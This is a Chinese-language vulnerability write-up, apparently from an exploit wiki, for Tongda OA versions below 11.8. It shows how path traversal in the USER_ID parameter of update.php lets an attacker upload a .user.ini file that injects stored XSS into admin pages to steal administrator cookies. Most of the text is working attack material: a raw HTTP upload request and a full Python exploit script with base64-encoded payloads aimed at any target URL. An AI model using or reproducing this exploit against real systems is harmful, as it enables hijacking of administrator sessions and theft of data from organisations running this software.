# 通达OA v11.8 update.php 后台文件包含XSS漏洞 ## 漏洞描述通达OA v11.8以下存在文件上传接口，可上传 .user.ini 文件包含有xss语句的文件，使管理员后台文件均包含XSS语句，被攻击者获取敏感信息 ## 漏洞影响 ``` 通达OA < v11.8 ``` ## 环境搭建 [通达OA v11.6下载链接](https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe) 下载完毕点击安装即可 ## 漏洞复现这里使用的环境为通达 v11.6版本，v11.6版本中的漏洞利用较好，在 v11.7 后续版本中规定了上传路径，导致XSS利用会比较困难出现漏洞的文件为 **webroot/general/hr/manage/staff_info/update.php** ```php \r\n"; echo "\r\n\r\n"; $PHOTO_NAME0 = $_FILES["ATTACHMENT"]["name"]; $ATTACHMENT = $_FILES["ATTACHMENT"]["tmp_name"]; if ($PHOTO_NAME0 != "") { $FULL_PATH = MYOA_ATTACH_PATH . "hrms_pic"; if (!file_exists($FULL_PATH)) { @mkdir($FULL_PATH, 448); } $PHOTO_NAME = $USER_ID . substr($PHOTO_NAME0, strrpos($PHOTO_NAME0, ".")); $FILENAME = MYOA_ATTACH_PATH . "hrms_pic/" . $PHOTO_NAME; td_copy($ATTACHMENT, $FILENAME); if (file_exists($ATTACHMENT)) { unlink($ATTACHMENT); } if (!file_exists($FILENAME)) { Message(_("附件上传失败"), _("原因：附件文件为空或文件名太长，或附件大于30兆字节，或文件路径不存在！")); Button_Back(); exit(); } } ``` ![image-20220209111308741](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091113931.png) 在这里参数 **$USER_ID** 是可控的，并且无过滤危险符号就拼接进去了，那我们传入 **../../../** 我们就可以任意文件上传了由于通达OA 的文件上传限制的死死的，所以我们可以通过利用 PHP的 **.user.ini** 文件来包含其他文件，这里是可以用于包含XSS语句的文件的，所以我们上传文件内容为 ```plain auto_prepend_file=test.log ``` 我们想要最大化利用可以上传在**首页或者管理员** 界面，利用自定义弹窗来渗透这里对管理员页面 **general** 目录上传请求包为 ```plain POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/.user HTTP/1.1 Host: 192.168.1.105 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104 Content-Length: 365 Connection: close Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=kqfgar7u3c0ang0es41u3u67p4; SID_1=a63eb31 Upgrade-Insecure-Requests: 1 -----------------------------17518323986548992951984057104 Content-Disposition: form-data; name="ATTACHMENT"; filename="peiqi.ini" Content-Type: text/plain auto_prepend_file=peiqi.log -----------------------------17518323986548992951984057104 Content-Disposition: form-data; name="submit" 提交 -----------------------------17518323986548992951984057104-- ``` 其中 **USER_ID=../../general/.user** 为上传路径 ```plain Content-Disposition: form-data; name="ATTACHMENT"; filename="peiqi.ini" Content-Type: text/plain auto_prepend_file=peiqi.log ``` 这里拼接后上传就变成了 **.user.ini** ![image-20220209111339894](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091113999.png) 这里再上传 XSS文件 **peiqi.log** 被包含进去 ![image-20220209111358294](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091113385.png) 上传后每次管理员登录后都会带着Cookie请求一次XSS平台 ![image-20220209111423483](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091114571.png) 钓鱼什么的代码写在peiqi.log文件里就好啦刚刚提到了 v11.7版本不方便利用，这是因为在后续版本加上了文件上传的规定路径 ![image-20220209111524536](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091115646.png) ```php if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) { return false; } else { return true; } ``` 路径中必须要包含 **webroot 和 attachment** 才可以上传 ![image-20220209111502133](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091115242.png) 这里XSS的利用点有4个文件夹，其中最有几率XSS的为**存储目录管理的文件夹** ![image-20220209111547012](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091115069.png) 用同样的方法上传利用文件，每次当管理员设置时就会盗取Cookie ## 漏洞POC 因为是xss可能对目标有影响，所以这里POC在一个不常用目录探测是否存在漏洞 Cookie填写访问后台时的Cookie, 其中的base64解码更改 PeiQi_Wiki为自己的XSS语句 v11.6及以下攻击 /general 和 /general/system/attachment 目录较好 v11.6以上攻击 /general/system/attachment 目录较好 ```python import requests import sys import random import re import base64 from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: 通达OA < V11.8 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mCookie >>> xxxxxxxxxxxxxxxxxxxxxx \033[0m') print('+------------------------------------------') def POC_1(target_url, Cookie): vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/.user" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104", "Connection": "close", "Cookie": Cookie, "Upgrade-Insecure-Requests": "1", } data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkuaW5pIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCmF1dG9fcHJlcGVuZF9maWxlPXBlaXFpLmxvZwotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoK5o+Q5LqkCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQtLQ==") try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5) print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user \033[0m".format(target_url)) if "档案已保存" in response.text and response.status_code == 200: print("\033[32m[o] 目标 {} 成功上传.user.ini文件, \033[0m".format(target_url)) POC_2(target_url, Cookie) else: print("\033[31m[x] 目标 {} 上传.user.ini文件失败\033[0m".format(target_url)) sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) def POC_2(target_url, Cookie): vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/test" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104", "Connection": "close", "Cookie": Cookie, "Upgrade-Insecure-Requests": "1", } data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkubG9nIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KClBlaVFpX1dpa2kKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InN1Ym1pdCIKCuaPkOS6pAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0LS0=") try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5) print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/test \033[0m".format(target_url)) if "档案已保存" in response.text and response.status_code == 200: print("\033[32m[o] 目标 {} 成功上传 test.log 文件, \033[0m".format(target_url)) POC_3(target_url, Cookie) else: print("\033[31m[x] 目标 {} 上传 test.log 文件失败\033[0m".format(target_url)) sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) def POC_3(target_url, Cookie): vuln_url = target_url + "/general/reportshop/workshop/report/attachment-remark/form.inc.php?test=test" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Cookie": Cookie, } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) print("\033[36m[o] 正在请求 {}/general/reportshop/workshop/report/attachment-remark/form.inc.php?test=test \033[0m".format(target_url)) if "test_Wiki" in response.text and response.status_code == 200: print("\033[32m[o] 目标 {} 存在漏洞，响应中包含 test_Wiki,存在XSS漏洞, 可参考文章写的利用版本进一步攻击 \033[0m".format(target_url)) else: print("\033[31m[x] 目标 {} 不存在漏洞，响应中不包含 test_Wiki\033[0m".format(target_url)) sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) Cookie = "USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=kqfgar7u3c0ang0es41u3u67p4; SID_1=a63eb31" POC_1(target_url, Cookie) ``` ![image-20220209111615822](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091116959.png) ## 参考文章 https://paper.seebug.org/1499/